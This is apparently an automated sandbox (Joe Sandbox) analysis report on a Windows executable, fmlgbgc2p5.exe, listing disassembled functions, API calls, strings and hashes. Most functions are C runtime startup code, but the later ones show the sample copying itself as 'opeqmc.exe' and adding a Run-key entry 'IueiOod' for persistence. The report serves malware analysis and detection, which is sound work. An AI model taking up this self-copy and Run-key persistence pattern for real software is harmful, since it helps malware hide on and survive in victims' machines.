Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: __invoke_watson$_strlen$File_strcat_s_strcpy_s$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 1879448924-4022980321
Opcode ID: 37e970e7a91dfcbae92fe90700a2f9926538e6433e08e305a6de03e0bd6f72c8
Instruction ID: 3ad8829dabe9c8e6b7970468b651ade891dcb41a26c93daa50347fadcc2e15d8
Opcode Fuzzy Hash: 37e970e7a91dfcbae92fe90700a2f9926538e6433e08e305a6de03e0bd6f72c8
Instruction Fuzzy Hash: CF3127B2A402153AE62136326F5EF2F314C9B91315F14013BFE09B26D6FABD9A1441FE

Function 00401E76 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 109
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,004017BE), ref: 00401E7C
__mtterm.LIBCMT ref: 00401E88

Part of subcall function 00401BCA: TlsFree.KERNEL32(00000002,00401FF5), ref: 00401BF5
Part of subcall function 00401BCA: RtlDeleteCriticalSection.NTDLL(00000000), ref: 004033DC
Part of subcall function 00401BCA: RtlDeleteCriticalSection.NTDLL(00000002), ref: 00403406

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00401E9E
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00401EAB
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00401EB8
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00401EC5
TlsAlloc.KERNEL32 ref: 00401F15
TlsSetValue.KERNEL32(00000000), ref: 00401F30
__init_pointers.LIBCMT ref: 00401F3A
__calloc_crt.LIBCMT ref: 00401FAF
GetCurrentThreadId.KERNEL32 ref: 00401FDF

Strings

FlsFree, xrefs: 00401EBA
KERNEL32.DLL, xrefs: 00401E77
FlsSetValue, xrefs: 00401EAD
FlsAlloc, xrefs: 00401E98
FlsGetValue, xrefs: 00401EA0

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 2125014093-3819984048
Opcode ID: 354152662784ca78ebbfdb9d1e706067e68d0d363f7f71506686b96da0da82fe
Instruction ID: 2b6f412a48510a2ea5e28321b190ff4220801d9e6bfc04da0c4d4af9d52f3434
Opcode Fuzzy Hash: 354152662784ca78ebbfdb9d1e706067e68d0d363f7f71506686b96da0da82fe
Instruction Fuzzy Hash: AF318F319483029BE7146F75AF05B063AA5AF40355712053FF861B22F5EF7C8490EB5E

Function 00401C07 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 49
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,00409328,0000000C,00401D18,00000000,00000000,?,?,?,00402F66), ref: 00401C18
GetProcAddress.KERNEL32(?,EncodePointer), ref: 00401C4C
GetProcAddress.KERNEL32(?,DecodePointer), ref: 00401C5C
InterlockedIncrement.KERNEL32(0040A3C8), ref: 00401C7E
__lock.LIBCMT ref: 00401C86
___addlocaleref.LIBCMT ref: 00401CA5

Strings

KERNEL32.DLL, xrefs: 00401C13
DecodePointer, xrefs: 00401C54
EncodePointer, xrefs: 00401C3E

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: AddressProc$HandleIncrementInterlockedModule___addlocaleref__lock
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1036688887-2843748187
Opcode ID: 6573cce91d4b34aeafb212c3c1fc7eea0ad3c310865ce8df9fb52cfb0840fec2
Instruction ID: 560e36331183b230e08dea58ace58335192f7a528c6e8c7e040251058e5fa637
Opcode Fuzzy Hash: 6573cce91d4b34aeafb212c3c1fc7eea0ad3c310865ce8df9fb52cfb0840fec2
Instruction Fuzzy Hash: 32113D719847019EE7209F76CA45B5ABBE4AF04348F10853FE899B62E1CB7C99418F19

Function 00402C5B Relevance: 13.7, APIs: 9, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 00402C70
__calloc_crt.LIBCMT ref: 00402C83

Part of subcall function 00404032: __calloc_impl.LIBCMT ref: 00404040
Part of subcall function 00404032: Sleep.KERNEL32(00000000), ref: 00404057

__calloc_crt.LIBCMT ref: 00402D06
GetFileType.KERNEL32(00000038), ref: 00402D86
___crtInitCritSecAndSpinCount.LIBCMT ref: 00402DBA
GetStdHandle.KERNEL32(-000000F6), ref: 00402E10
GetFileType.KERNEL32(00000000), ref: 00402E22
___crtInitCritSecAndSpinCount.LIBCMT ref: 00402E50
SetHandleCount.KERNEL32 ref: 00402E7A

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Count$CritFileHandleInitSpinType___crt__calloc_crt$InfoSleepStartup__calloc_impl
String ID:
API String ID: 1318386821-0
Opcode ID: f5d02d02a8b2d0f0c38f4cc661f228c40208417c0c2fd58e7995995fa6c6c4fe
Instruction ID: b2392c38ea11d8206f0d28861f948c6360aed0bed67f1e2b59f3cb23873ff797
Opcode Fuzzy Hash: f5d02d02a8b2d0f0c38f4cc661f228c40208417c0c2fd58e7995995fa6c6c4fe
Instruction Fuzzy Hash: 366136715447518ED7248B38CB4C7167BA0EF02324F29437BD9A5BB2E1D7B89806CB9D

Function 00403BD3 Relevance: 10.7, APIs: 7, Instructions: 158
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getSystemCP.LIBCMT ref: 00403BEC

Part of subcall function 00403B59: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00403B66
Part of subcall function 00403B59: GetOEMCP.KERNEL32(00000000,?,00402A85,?,?,00000001), ref: 00403B80

setSBCS.LIBCMT ref: 00403BFE

Part of subcall function 00403854: _memset.LIBCMT ref: 00403867

IsValidCodePage.KERNEL32(-00000030,00000000,?,00000000,00409430), ref: 00403C44
GetCPInfo.KERNEL32(00000000,00403F56), ref: 00403C57
_memset.LIBCMT ref: 00403C6F
setSBUpLow.LIBCMT ref: 00403D42

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Locale_memset$CodeInfoPageSystemUpdateUpdate::_Valid
String ID:
API String ID: 2658552758-0
Opcode ID: 85fbc29d6093aa115f5ab7fa086d66e65b660b38745e4bae39b2770f61390fd6
Instruction ID: 0e9026f4e105130f7015617c44e62dc713e6d3fa9c6682f74f6de7838a23a284
Opcode Fuzzy Hash: 85fbc29d6093aa115f5ab7fa086d66e65b660b38745e4bae39b2770f61390fd6
Instruction Fuzzy Hash: 875108319042558BDB159F25C8442BABFB8EF05306F14847FE881FF282C63CCA46DB99

Function 00401AAA Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(00000000,00401B1F,00000000,00404862,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AB7
TlsGetValue.KERNEL32(00000004,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401ACE
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AE3
GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00401AFE

Strings

KERNEL32.DLL, xrefs: 00401ADE
EncodePointer, xrefs: 00401AF8

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: EncodePointer$KERNEL32.DLL
API String ID: 1929421221-3682587211
Opcode ID: cfafac40d43195ef6ab0f83e6a66070465950e04f68e4f312de4a4817b66f2e0
Instruction ID: 2de7d8fd10128b17cfc71597f2b569db04ade18300f5c4710948ea3b5a4a2571
Opcode Fuzzy Hash: cfafac40d43195ef6ab0f83e6a66070465950e04f68e4f312de4a4817b66f2e0
Instruction Fuzzy Hash: 68F06D307017169BD7219F25DE04A5A3AB8AF80790B16417AB844F62F4EF38DC029A6D

Function 00401B21 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,00402F66), ref: 00401B5A
GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00401B75

Strings

KERNEL32.DLL, xrefs: 00401B55
DecodePointer, xrefs: 00401B6F

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: DecodePointer$KERNEL32.DLL
API String ID: 1929421221-629428536
Opcode ID: 436f779fc0fdf30fb8c2a4f5b6e2e396cf7c0272443af951d572ffac3d80a1eb
Instruction ID: 1a7e216e592b3cd04d2002f0154b272c3d781bc2d345389bf2442321812c8d59
Opcode Fuzzy Hash: 436f779fc0fdf30fb8c2a4f5b6e2e396cf7c0272443af951d572ffac3d80a1eb
Instruction Fuzzy Hash: 96F062305013129BC7215F24DE44E6A3AB89F407947154136F854F22F0EF34DC018A6D

Function 00407B29 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 004016EA
GetProcessHeap.KERNEL32(00000000,00000094), ref: 00401705
RtlAllocateHeap.NTDLL(00000000), ref: 00401708
_fast_error_exit.LIBCMT ref: 00401716

Part of subcall function 00401671: __FF_MSGBANNER.LIBCMT ref: 0040167A

___security_init_cookie.LIBCMT ref: 004018B6

Strings

j`h, xrefs: 004016D6, 004018BB

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Heap$AllocateInfoProcessStartup___security_init_cookie_fast_error_exit
String ID: j`h
API String ID: 2660455748-2627015977
Opcode ID: aba137c0f2f88c3b9200040e126f3ca684e81be6c5eda89adfc1ccd5f8954634
Instruction ID: 7291aa48b631972549e6df949c7a5fbc9f7bec4cf14f78cf3737268845182a7c
Opcode Fuzzy Hash: aba137c0f2f88c3b9200040e126f3ca684e81be6c5eda89adfc1ccd5f8954634
Instruction Fuzzy Hash: C3F02E36D01705A7E720A7B4CE49B6D3134AB88765F35013BF5017B2E2CABC4D06A62D

Function 00403F64 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00403F82

Part of subcall function 004034EE: __mtinitlocknum.LIBCMT ref: 00403502
Part of subcall function 004034EE: __amsg_exit.LIBCMT ref: 0040350E
Part of subcall function 004034EE: RtlEnterCriticalSection.NTDLL(?), ref: 00403516

___sbh_find_block.LIBCMT ref: 00403F8D
___sbh_free_block.LIBCMT ref: 00403F9C
HeapFree.KERNEL32(00000000,?,00409450,0000000C,004034CF,00000000,004093D0,0000000C,00403507,?,?,?,00406798,00000004,00409530,0000000C), ref: 00403FCC
GetLastError.KERNEL32(?,00406798,00000004,00409530,0000000C,00404045,?,?,00000000,00000000,00000000,00401CEF,00000001,00000214), ref: 00403FDD

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 288a25c0387cb816e710d6056d2e667d0bdf05a7bdcb3ee8ac501960d13b8eb0
Instruction ID: 478c35e85f2b107ed22a8aba67e00a0e018390ca299f0d6e226d856ee505d4b6
Opcode Fuzzy Hash: 288a25c0387cb816e710d6056d2e667d0bdf05a7bdcb3ee8ac501960d13b8eb0
Instruction Fuzzy Hash: AB012C71D05602AADB207FB29A0AB5E7A78DF0076AF20413FF404B61D1CB7C8A449A9D

Function 00403A33 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00401D3D: __amsg_exit.LIBCMT ref: 00401D4B

__amsg_exit.LIBCMT ref: 00403A5F
__lock.LIBCMT ref: 00403A6F
InterlockedDecrement.KERNEL32(?), ref: 00403A8C
InterlockedIncrement.KERNEL32(020A1588), ref: 00403AB7

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__lock
String ID:
API String ID: 4129207761-0
Opcode ID: 8585fda054ee7361396d1f478d0024bbf818f9282079b570ad35bde21b9f8bf2
Instruction ID: 3b707b5fd0894213fb8e8695ce472a26b52a1803b1b57e4fe7db1faaf9775e12
Opcode Fuzzy Hash: 8585fda054ee7361396d1f478d0024bbf818f9282079b570ad35bde21b9f8bf2
Instruction Fuzzy Hash: 3A018E32E00B119BD611AF6A990974A7B64BB05716F05403BE890773D1C73CAB51DFDE

Function 00401CC6 Relevance: 6.0, APIs: 4, Instructions: 45threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00404281,00402202,00000000,00402EFA,FFFFFFFE,?,?,?,?,00402F66), ref: 00401CC8

Part of subcall function 00401B98: TlsGetValue.KERNEL32(00000000,00401CDB,?,?,?,00402F66), ref: 00401B9F
Part of subcall function 00401B98: TlsSetValue.KERNEL32(00000000,?,?,00402F66), ref: 00401BC0

__calloc_crt.LIBCMT ref: 00401CEA

Part of subcall function 00404032: __calloc_impl.LIBCMT ref: 00404040
Part of subcall function 00404032: Sleep.KERNEL32(00000000), ref: 00404057

Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45

Part of subcall function 00401C07: GetModuleHandleA.KERNEL32(KERNEL32.DLL,00409328,0000000C,00401D18,00000000,00000000,?,?,?,00402F66), ref: 00401C18
Part of subcall function 00401C07: GetProcAddress.KERNEL32(?,EncodePointer), ref: 00401C4C
Part of subcall function 00401C07: GetProcAddress.KERNEL32(?,DecodePointer), ref: 00401C5C
Part of subcall function 00401C07: InterlockedIncrement.KERNEL32(0040A3C8), ref: 00401C7E
Part of subcall function 00401C07: __lock.LIBCMT ref: 00401C86
Part of subcall function 00401C07: ___addlocaleref.LIBCMT ref: 00401CA5

GetCurrentThreadId.KERNEL32 ref: 00401D1A
SetLastError.KERNEL32(00000000,?,?,?,00402F66), ref: 00401D32

Memory Dump Source

Source File: 00000000.00000002.1641140611.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1641121132.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641140611.000000000040D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1641183888.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Value$AddressErrorLastProc$CurrentHandleIncrementInterlockedModuleSleepThread___addlocaleref__calloc_crt__calloc_impl__lock
String ID:
API String ID: 1081334783-0
Opcode ID: 098acf1058f6266e08016df3b7da3ea01f889e9df5624f40869082c495d6053c
Instruction ID: d2849ffa799b97934cc6d9bfafbcb639600e9549b280b5eba9c9c239b681eae2
Opcode Fuzzy Hash: 098acf1058f6266e08016df3b7da3ea01f889e9df5624f40869082c495d6053c
Instruction Fuzzy Hash: 2EF0FF325447229AD6363BB96D0AA8F3AA49F41761711093FF580B61F0CF3CD80296AD

Analysis Process: fmlgbgc2p5.exePID: 7336, Parent PID: 7280COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.8%
Total number of Nodes:	1144
Total number of Limit Nodes:	6

Executed Functions

Function 0040ABD9 Relevance: 3.0, APIs: 2, Instructions: 26
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

FindFirstFileW.KERNEL32(?,00000000), ref: 0040AC03
FindClose.KERNEL32(00000000), ref: 0040AC0F

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: FindOpen$CloseFileFirst
String ID:
API String ID: 3155378417-0
Opcode ID: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction ID: fa0310e4c65bbc590993533f650c85f5e3ee77ef27cd51fa1c8f473dbf319076
Opcode Fuzzy Hash: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction Fuzzy Hash: 5DE0D87160C7044BE220E7B49D0C967B3DCAB45325F000F36A9B6E20C0FA38D46A465F

Function 0040B346 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 153
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B36C
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B39D

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(0040EA48,00000000,00000000,00000000,00000000,00020006,00000000,00000002,0040EA48,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

GetLastError.KERNEL32(00000004), ref: 0040B3CA
Sleep.KERNEL32(00002710), ref: 0040B3F7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B413
CopyFileW.KERNEL32(?,?,00000000), ref: 0040B435
ExitProcess.KERNEL32 ref: 0040B44D

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

GetLastError.KERNEL32(00000004), ref: 0040B48D
GetLastError.KERNEL32(00000004), ref: 0040B49A
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 0040B4C7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B4D7
GetLastError.KERNEL32(00000004), ref: 0040B500

Strings

/nomove, xrefs: 0040B4D9
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040B3AD
opeqmc.exe, xrefs: 0040B36E
IueiOod, xrefs: 0040B3A8

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: File$ErrorLastModuleName$Open$CopyCreateEnvironmentExitExpandProcessSleepStrings
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$opeqmc.exe
API String ID: 3692109554-477663111
Opcode ID: 55bb52feb6c62d8aec5773147cbc2c373a20a80f20ddf5eadf9f4fa8ccd6a04a
Instruction ID: ccf8aad4361994264e72a39918ed7d53ff083e628d4a69ee62a5d407c68d8035
Opcode Fuzzy Hash: 55bb52feb6c62d8aec5773147cbc2c373a20a80f20ddf5eadf9f4fa8ccd6a04a
Instruction Fuzzy Hash: 8C4127719042186AE710B7A19D46FAB73ACEF04345F14447BBB05F11C2EB789A548AAF

Function 004075D4 Relevance: 22.6, APIs: 15, Instructions: 128
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618
GetFileSize.KERNEL32(?,00000000), ref: 0040762E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407638
RtlAllocateHeap.NTDLL(00000000), ref: 0040763F
ReadFile.KERNELBASE(?,00000000,00000000,?,00000000), ref: 00407660
WriteFile.KERNELBASE(?,?,00000000,?,00000000), ref: 0040767F
SetFilePointer.KERNELBASE(?,00000000,00000000,00000000), ref: 00407691
ReadFile.KERNELBASE(?,?,00000040,?,00000000), ref: 004076A1
SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 004076AF
ReadFile.KERNELBASE(?,?,000000F8,?,00000000), ref: 004076C5
SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 004076EF
WriteFile.KERNELBASE(?,?,000000F8,?,00000000), ref: 00407705
CloseHandle.KERNELBASE(?), ref: 00407714
CloseHandle.KERNEL32(?), ref: 00407719

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: File$PointerRead$CloseCreateHandleHeapWrite$AllocateProcessSize
String ID:
API String ID: 2296163861-0
Opcode ID: 894f1e02061cece153af19de11902bbae5fe70548c4ece14d410128547cdf08b
Instruction ID: 7ae3b020874f099f6a4231377d147a855b3f50186be4225f3fece46b7b724b47
Opcode Fuzzy Hash: 894f1e02061cece153af19de11902bbae5fe70548c4ece14d410128547cdf08b
Instruction Fuzzy Hash: F0416A71901028BADB209BA2DD48EEFBF7DEF45390F104476F619F21A0D7709A10DB64

Function 0040AC20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Strings

/nomove, xrefs: 0040AC23
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040AC39, 0040AC3E, 0040AC6C
IueiOod, xrefs: 0040AC50, 0040AC82

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run
API String ID: 3546245721-4228964922
Opcode ID: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction ID: 3bac8edf5f415b784fe4546894dc74dc09b9405a13c640cee1cd261e7a9a2bb6
Opcode Fuzzy Hash: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction Fuzzy Hash: 5F01867265430EFEFF1096919D42F9A736CDB40768F210036FA00B60D1D6B6AE155779

Function 0040AAFD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(?,0040B3E5), ref: 0040AB0A
GetModuleFileNameW.KERNEL32(00000000,?,00000820,00000400,?,0040B3E5), ref: 0040AB44
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB57
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB60

Strings

/nomove, xrefs: 0040AB10

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: CharLower$CommandFileLineModuleName
